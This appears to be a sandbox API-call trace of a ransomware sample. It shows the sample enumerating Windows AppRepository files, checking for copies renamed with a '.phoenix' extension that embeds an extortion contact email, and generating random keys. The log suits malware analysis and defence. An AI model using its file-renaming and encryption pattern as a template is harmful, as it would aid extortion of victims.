	[0250.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.918] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.919] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=832) returned 1
	[0250.919] CloseHandle (hObject=0x2c8) returned 1
	[0250.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.919] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.919] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.919] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.919] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=931) returned 1
	[0250.919] CloseHandle (hObject=0x2c8) returned 1
	[0250.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.920] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.920] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=59903) returned 1
	[0250.920] CloseHandle (hObject=0x2c8) returned 1
	[0250.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.920] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.921] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17986) returned 1
	[0250.921] CloseHandle (hObject=0x2c8) returned 1
	[0250.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.921] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.921] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17402) returned 1
	[0250.921] CloseHandle (hObject=0x2c8) returned 1
	[0250.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.922] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.922] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9317) returned 1
	[0250.922] CloseHandle (hObject=0x2c8) returned 1
	[0250.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.922] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.923] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1692) returned 1
	[0250.923] CloseHandle (hObject=0x2c8) returned 1
	[0250.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.924] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3216) returned 1
	[0250.924] CloseHandle (hObject=0x2c8) returned 1
	[0250.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.924] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.924] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26698) returned 1
	[0250.924] CloseHandle (hObject=0x2c8) returned 1
	[0250.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.925] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.925] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1425) returned 1
	[0250.925] CloseHandle (hObject=0x2c8) returned 1
	[0250.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.926] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.928] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=835) returned 1
	[0250.928] CloseHandle (hObject=0x2c8) returned 1
	[0250.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.929] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.929] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=833) returned 1
	[0250.929] CloseHandle (hObject=0x2c8) returned 1
	[0250.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.930] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
